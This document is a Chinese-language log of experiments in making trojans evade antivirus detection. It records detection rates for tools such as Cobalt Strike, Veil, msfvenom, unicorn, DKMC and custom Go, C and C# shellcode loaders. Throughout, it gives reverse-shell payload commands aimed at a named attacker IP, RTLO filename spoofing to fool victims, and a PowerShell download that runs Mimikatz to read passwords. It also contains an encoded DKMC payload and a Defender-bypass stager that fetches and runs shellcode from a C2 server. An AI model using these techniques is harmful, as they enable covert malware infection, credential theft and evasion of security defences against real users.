常规木马免杀处理-查杀情况记录
常规木马免杀处理-查杀情况记录
cs木马免杀比例
exe64 41/72
exe32 40/72
+upx之后
1 | cs64 30/72 能过火绒 无法过windows defender |
veil
安装docker:
1 | 添加Docker PGP key: |
安装拉取veil镜像:
1 | apt -y install veil |
1 | 镜像地址: |
使用:
veil有两个免杀的工具,Evasion和Ordnance。
Ordnance可生成在Veil-Evasion中使用的shellcode,Evasion是用做文件免杀。
1 | Veil>: use 1 #选择Evasion功能 |
veil直接生成exe
1 | Veil/Evasion>: use 16 |
生成的exe文件被查杀火绒,upx加壳依然被火绒查杀,尴尬
加upx后 virustotal查杀率 37/68
- veil+mingw+w64(success)
1 | Veil>: use 1 |
用mingw-w64来编译
1 | gcc c_msf.c -o c_msf.exe -l ws2_32 |
火绒查杀exe文件
upx加壳后(火绒未查杀) virustotal查杀率 7/68
msf收到的弹回的shell无法执行命令?失败品。
msfconsole -r 加载.rc文件
msf apk
virustotal查杀率 29/63
未免杀时被查杀比例 57/72
1 | msfvenom -p android/meterpreter/reverse_tcp LHOST=45.32.137.154 LPORT=5566 R > test.apk |
shellter免杀无效,免杀后exe文件原功能无法使用
msfvenom 捆绑+编码器免杀
1 | msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' lhost=45.32.137.154 lport=5566 -f exe -o en20.exe |
x86/shikata_ga_nai编码器免杀后查杀比例 57/72 加编码器完全无效没卵用
shikata_ga_nai编码+upx加壳免杀后查杀比例 52/72 查杀比例降低了一点
尝试byob僵尸网络(python2)
1 | python client.py 45.32.137.154 5566 --name test --compress --freeze --icon tom.jpg |
生成payload的目录在\modules文件夹下,两个文件夹,一个payload,一个stager,直接把两个文件夹,复制到kali里面的byob/byob/module里
1 | python server.py --host 45.32.137.154 --port 5566 |
此时服务器已经搭建起来了,接下来我们只需要再另外一个窗口随便生成一个木马,让byob帮我们搭建网站服务器来存储payload
1 | python client.py 45.32.137.154 5566 --name test1 --compress --freeze --icon tom.jpg |
服务启动成功,然后把在windows生成的payload和stager放到属于他们自己的目录(不要乱了啊)
1 | payload:./byob/byob/modules/payloads |
运行exe或者test.py文件
python2实验生成的exe或者py文件能过大部分免杀,但是实验用的目标机器在内网,外网没有session上线,外网没测试
byob查杀比例 5/72
unicron
免杀比例 19/72
1 | python unicorn.py windows/meterpreter/reverse_https 45.32.137.154 443 |
会在unicorn目录下生成两个文件: unicorn.rc和powershell_attack.txt,后者是我们需要在目标机上运行的。
转成bat格式,然后下载win10的icon图标:
1 | git clone 'https://github.com/B00merang-Project/Windows-10-Icons' |
- 后缀名欺骗
这里选择Windows-10-Icons/256x256/mimetypes/ 下的text-x-generic.png去
1 | https://convertico.com/ |
网站转化PNG图片为ICON,然后打开BAT2EXE转换器,打开powershell_attack.bat然后在顶部加上notepad:
保存为windows 64位invisible的text.exe
然后伪装文件后缀名。
先把文件名改为texttxt.exe, 然后去
1 | https://unicode-table.com/en/202E/ |
复制倒写unicode,文件名就变成了textexe.txt,但实际是一个可执行文件,这招能骗过开启文件后缀名显示的目标机用户。
1 | msfconsole -r unicorn.rc |
shell无法弹出到外网vps?
gobindshell (success)
免杀比例 2/69
go-shellcode
编译生成的exe被查杀
+upx 体积缩小一半 过火绒
1 | msfvenom -p windows/meterpreter/reverse_tcp -f hex -o rev.hex LHOST=45.32.137.154 LPORT=2234 |
能免杀,但是内存加载失败没弹回shell?
shellcode-launcher(x)
c++加载shellcode
1 | msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=45.32.137.154 lport=2234 -f raw -o shellcode.raw |
upx之后还是被火绒查杀
k8 scrun
python加载shellcode
加upx后未报毒
1 | msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=45.32.137.154 lport=2234 -f c -o shell.c |
生成的shell.c文件还需要hex编码
scrun.exe运行时退出,程序运行有问题
go_meterpreter
https://github.com/insightglacier/go_meterpreter
1 | go build -ldflags="-H windowsgui -w" .\go_meterpreter.go |
1 | LHOST 45.32.137.154 yes The listen address (an interface may be specified) |
+upx之后查杀比例: 9/71
缺点是弹外网时会session die, 内网未测试
powershell远程加载mimikatz读取密码
1 | powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz >> c:\1.txt |
SimpleShellcodeInjector加载器
https://github.com/DimopoulosElias/SimpleShellcodeInjector
火绒报毒,upx加壳和不加壳程序运行闪退
1 | $ i686-w64-mingw32-gcc SimpleShellcodeInjector.c -o ssi.exe |
msf:
SSL impersonation:
1 | $ msfconsole |
Handler:
1 | msf auxiliary(gather/impersonate_ssl) > use exploit/multi/handler |
py加载
1 | import base64,sys |
base64 decode之后
1 | import socket,struct,time |
能连上,执行不了命令,需要另外改代码?
go内联c加载+go嵌入shellcode
windows 下 gcc/g++ 的安装
- goshell(success)
查杀比例 15/64
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=45.32.137.154 lport=2234 -f c
1 | "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52" |
go build -ldflags=”-H windowsgui -w”
源码见goshell
+upx壳后外网msf成功上线
- cingo
64 bit gcc install
64 bit gcc
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=45.32.137.154 lport=2234 -f c
1 | "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52" |
需要64位gcc
1 | package main |
需要调用c语言代码,待完善
在 Go 语言中调用 C 代码
go-AES-shellcode (success)
A Trinity of Shellcode, AES & Golang
0x14-SLAE64-crypter
- windows上面编译gocrypter报错:
1 | shellcoderun\shellcoderun.go:5:10: fatal error: sys/mman.h: No such file or directory |
原因:
1 | <sys/mman.h>是一个unix头文件,在windows上不可用 |
- linux上编译(只能在linux机器上弹shell)
编译成功
生成payload
1 | msfvenom -a x64 --platform linux -p linux/x64/shell_reverse_tcp LHOST=45.32.137.154 LPORT=2344 > gocryptpayload |
1 | root@kali:~/go-crypter# cat gocryptpayload | xxd |
aes加密payload
1 | root@kali:~/go-crypter# ./go-crypter encrypt "lucifer110000000" gocryptpayload |
解密payload
1 | root@kali:~/go-crypter# ./go-crypter decrypt "lucifer110000000" gocrypter.111526.out |
run payload
1 | root@kali:~/go-crypter# ./go-crypter run "lucifer110000000" gocrypter.111526.out |
外网msf success!!!
1 | msf5 exploit(multi/handler) > sessions |
使用nc -lvp 2344监听也可以
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
插入shellcode
1 | #include <windows.h> |
CPLResourceRunner
用Cobalt Strike生成shellcode
Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)
1 | cat shellcode.txt | sed 's/[, ]//g; s/0x//g;' |tr -d '\n' | xxd -p -r | gzip -c | base64 > b64shellcode.txt |
powershell加载(MMFml)
code:
1 | namespace mmfExeTwo |
1 | msfvenom -p windows/x64/exec CMD="cmd.exe -c calc.exe" -f csharp |
Lolbins白利用加载shellcode
Living-Off-the-Land Binaries(生活在陆地上的二进制)
- mshta
payload:
1 | msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bin |
替换模板
shellcode替换位置:
1 | Dim code : code = "" |
- msiexec
加载payload txt:
1 | msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=4444 -f msi > qing.txt |
加载dll:
1 | msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f dll > qing.dll |
- Msbuild
1 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe qing.xml |
模板
- Installutil
编译:
1 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:qing.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs |
执行:
1 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= / LogToConsole=false /U qing.exe |
详细
wmic
1 | wmic os get /FORMAT:"http://example.com/evil.xsl" |
模板
csc
1 | msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.174.132 LPORT=53 ‐ f csharp |
通过IInstallutil执行即可
C# xor shellcodewrapper
1 | using System; |
py Base64(k8)
1 | import ctypes |
py 十六进制
1 | import ctypes |
shellcode_encoder
- shellcode_encoder
windows下无法运行,须在linux下运行
举例msfvenom
1 | root@kali:~# msfvenom -l encoder |
使用模板和编码器
1 | msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe |
Invoke-Obfuscation
- Invoke-Obfuscation
安装-管理员权限下运行:
1 | Set-ExecutionPolicy Unrestricted |
1 | Invoke-Obfuscation -ScriptBlock {echo xss} -Command 'Encoding\1,Launcher\PS\67' -Quiet |
the-backdoor-factory
- the-backdoor-factory
apt-get install backdoor-factory
BDF中-F参数实现多裂缝注入。
1 | backdoor-factory -f putty.exe -s show |
正常进程注入shellcode
1 | #include "stdafx.h" |
golang加载异或的shellcode
msfvenom生成一段shellcode
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp -f num LHOST=45.32.137.154 LPORT=3356 |
1 | 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, |
首先使用golang将shellcode异或一下,代码见go-xor-shell
编译之后执行没有shell弹回?(failed)
.cpp shellcode加载器(failed)
msfvenom生成一段shellcode
1 | msfvenom -p windows/meterpreter_reverse_tcp LHOST=45.32.137.154 LPORT=3356 > raw.bin |
kali中编译
1 | i686-w64-mingw32-c++ sc-launcher.cpp -o sclauncher.exe |
c源码见cpp-shellcode
嵌入shellcode编译好后,运行失败,没有shell回弹
HERCULES
安装:
1 | 先从Github上克隆到本地 |
HERCULES/src/EGESPLOIT/RSE/BypassAV.go文件,使用了传统的添加花指令的方式进行免杀。
- 使用
傻瓜式生成
火绒查杀
外网msf成功弹回可执行的交互式shell
virustotal 27/71
可根据源代码自行改编完善,或者改编源码
免杀效果较好
Slackor
- Slackor
说明:The server was designed to run on Kali Linux. The agent is compiled for Windows, Mac, and Linux, but has primarily been tested with Windows 10
安装及部署
first login slack
A Slack Workspace
Register an app with the following permissions:
https://api.slack.com/apps
1 | channels:read |
- Create a bot
外网kali及虚拟机kali都部署
1 | go get github.com/Coalfire-Research/Slackor |
setup.py添加OAuth Tokens时候出错,无法使用slack server进行流量通信
源码及实现原理可以学习
ARCANUS
- ARCANUS
ARCANUS is a customized payload generator/handler
傻瓜式操作
ip: 45.32.137.154
port: 3344
未加upx的payload能过火绒
查杀率: 15/68
加upx后查杀率: 14/68
效果好,支持平台多,实用。
TheFatRat
- TheFatRat
安装
1 | git clone https://github.com/Screetsec/TheFatRat |
缺少组件或者组件版本不对运行失败,要在老版本kali运行
avoidz
新版kali安装依赖时出错
zirikatu
- zirikatu
直接./使用sh脚本即可
傻瓜式操作即可
windows/x64/meterpreter/reverse_tcp
ip: 45.32.137.154
port: 5566
未加壳被火绒查杀,无法加壳
查杀率: 38/67
免杀能力一般
AVIator
- AVIator
使用运行exe即可
msf生成最基础的shellcode
1 | msfvenom -p windows/meterpreter/reverse_https LHOST=45.32.137.154 LPORT=5566 -f csharp -o test.c |
1 | root@kali:~/test# cat test.c |
Thread Hijacking
填入payload, AES KEY和IV默认
设置保存的path
- 勾选right to left override(RTLO)可以伪装后缀名
另外还可以将shellcode注入特定进程(效果很好)
spawn notepad32 火绒报毒 外网msf成功上线 查杀率 22/68 效果不错
newthread 火绒报毒 外网msf成功上线 查杀率 31/68 效果一般
apcalertable 火绒不报毒 外网msf没有上线
upx无法加壳 .NET files are not yet supported
成功但是火绒会查杀
DKMC(内网网段使用)
- DKMC
安装:
1 | $ git clone https://github.com/Mr-Un1k0d3r/DKMC |
Don’t kill my cat is a tool that generates obfuscated shellcode that is stored inside of polyglot images. The image is 100% valid and also 100% valid shellcode. The idea is to avoid sandbox analysis since it’s a simple “legit” image. For now the tool rely on PowerShell the execute the final shellcode payload.
官方用法:
1 | Generate shellcode (meterpreter / Beacon) |
- Generate shellcode from a raw file
1 | >>> sc |
- Generate the obfuscated shellcode embedded inside of an image.
1 | >>> gen |
- Generate PowerShell payload to execute on the victim system.
1 | >>> ps |
base64decode:
1 | $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sICFTTLVkC/zE0OTYxNzU0NDQuMjU!tVZrb9pIFP0eKf9hVCHZlowLSbfNRqpUnnm0EIJJ0oSiar!vMGHsMTNjErfNf99rYzdEkGx2tWs+YHvu3LlzzrnH44Iuu1oyT3eED6R8CVIxEZK93Z3dnZK/bH8F5Qs/cPXFPIC7ef+od04+kk/G7s4kDj2dxl725vfXvTb5ubtD8qtHJQ2IWVpS+T0QfszBJtlDJIUHfizBegwuLS4G7c+Y1RzWoqgp!srC0eFhI5YSQr16do5!15SCYMwZKNMiv8jVDCSUz8a34Gnyk5S+O0dcjCnPw5IG9Wa4o1rop2NfhEfTah034kybxrdvhjUsV0dOaxFTrkzDTZSGwPE5NyzyYKULDpIITKPDPCmUmGjnioX7e85FqOgEuphtCR3QM+Erw0rhKvYjQccyzLeV5llFmQbe9nD/Nd+XoHCScxIuxRzMUhhzbpNP5j!voh+HmgW!4xqkiFyQS+aBco5p6HPow2RkduGu2PtrJ5nrkzCqp6VlI0nb6uxkpK2mGtZmpWvMWnhtsIu!PKSY/BbJfLHoR/WlYuFRuEUpjy+Ka5iN!O7F7!nFsiQfScUmHSyKaiETfCwNZ!zWi!xTqoajESlBfC4n86bod4Kpl9RobL82dbXIg1nG4+n07PjHYDYNFq0zHBxeCuaPHlM9IbzUvjm+gLoOuC/bXX40Tic8L+UmTFgIzSSk!fMKtZrbGIUJhww+pwjrYt2mkQ+!3wQOU6pTimwy3JzWCpj+PbceM+6DrHmoCoVVoWCsp8WsWDeNk7!D!SK8ejaQ3Qn2CBTReV8kxerpMwYZDU6Vskkvxib1bOIC5eDbpBYqlg/VYi2yW+Ox3E7MNfOo0kW6kfUCtHkJDREqLWMPdYBwDNwIPEZ5io5NjpkP9cRl06IUYys2Dco5C6eYaYnc4JsUE1en6pJY9aaSLMcFfRJEH!KckLlJm9Mpekfeepk26RR84xU7KJpt1Vkpf!Vua/WjJlwutE0umdToUykVT7X53xVa2NZGvQ0JOclm0dbDeqLTfivFCXB+fnYRXYe3l1edm36Xzga3kU7dfFPQXU!ThXEDPTzUqCZxF3JB/SbV1Hwz0zo6fPu2uvfBqeCvenhQOai8FbGOYl2uvvvzffXDH3vvq844iN5k7Vf6+iNaqL5qidliejo/vb6ezD6Pk5ObtP3+xhQ7VKoZ5cg4ml0hvLaQ7dyveoKlM0yz+LjNQYb!0f7x!1GwUeNceKmFPjE3tPGVuY5Qdhd4u7+39c4ivwOtR4ctXh0e3mDByO5zCDtfIJzqmV25369U0BYr9+8qCMvrN94QUWI+m95OrfZZhF+qi2d1rRha0v597eY6kdDs9i47rVbc9Ob/Oz25YGf457+Wnsd3L4y+irKK/TxsG6FPX/wj/v4NMleUaQx20fc4rHrzZYByqa6d!LZSiiqc5Fd6NDvDju3iSWF3x/iU6uBkQtZQUuwHnstgQQ6s9ZO!0lTq8q0Y42EuSj/QuFYr6p+150etwTKu98+DfqtukZPWV7JthDyQMqJWU/t7eOqT0zg1P/LcGfYXuUMssuV+kT54gKe58qkYZwYH+LFbLy1bcnsijP8LpzV9tEQL!!!=".Replace("!", "A")));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd(); |
- Built-in Web Server to deliver the image
1 | >>> web |
详细使用:
msf生成raw格式的shellcode
1、先利用msf生成raw文件
2、利用sc讲raw文件转换为shellcode
3、利用gen将上一步的shellcode注入到一个BMP图像
4、利用ps生成基于powershell的BMP文件的payload
5、利用web提供的简单web服务进行分发BMP文件
1 | msfvenom -p windows/meterpreter/reverse_https LHOST=45.32.137.154 LPORT=5566 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 -f raw -o dkmctest.raw |
1 | 选择sc |
1 | gen |
图片生成了,拷出来放到vps上面,然后exit回退
地址: http://www.lucifer11.xyz/evil11.bmp
1 | ps |
然后msf设置监听,并在victim上执行powershell脚本
运行脚本时被火绒拦截,但是bmp文件能过大多数杀软
shell无法弹到外网msf?只能在内网中使用?
Python-Rootkit
- Python-Rootkit
需要特定msf版本,和32位的python和py2exe,比较麻烦
Beacon-绕过windows defender
编写一个简单的stager,这个stager仅用于申请内存、下载payload并执行,该stager本身并不包含恶意代码,因此可以绕过windows defender的静态扫描。
1、编写stager
首先编写stager用于远程下载payload并执行,这个stager是一个TCP客户端,从我们的C2服务器下载payload、申请内存、执行payload。代码如下(Visual Studio 2010静态编译):
静态编译设置:
(1).项目 -> 配置属性->常规->MFC的使用 :在静态库中使用MFC。
(2).项目 -> 配置属性->C/C++->代码生成->运行库 :选择/MT。
1 | #include "stdafx.h" |
stager生成之后,上传至目标机器并执行,执行方式如:stager.exe c2_hostname port
1 | stager.exe www.xxxxxx.com 53 //使用域名方式 |
(2)、生成CS payload并在C2服务器启动TCP Server
使用CS生成payload
在C2服务器上开启TCP Server,为了方便起见,直接使用netcat
1 | echo -e "\xfc\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\xxx\x00\x00\x00\x00\x00" | nc -l -p 53 -vvv |
(3)、目标上线
stager在目标机器上执行后,stager将在C2服务器下载payload并执行,目标上线。注意,虽然绕过了windows defender的静态扫描,但仍然需要小心defender的行为检测,比如利用beacon session进行提权、调用mimikatz时都会被defender检测到,不过dump hashes、proxy server等功能是可以正常执行的。
virustotal在线木马检测
https://www.virustotal.com/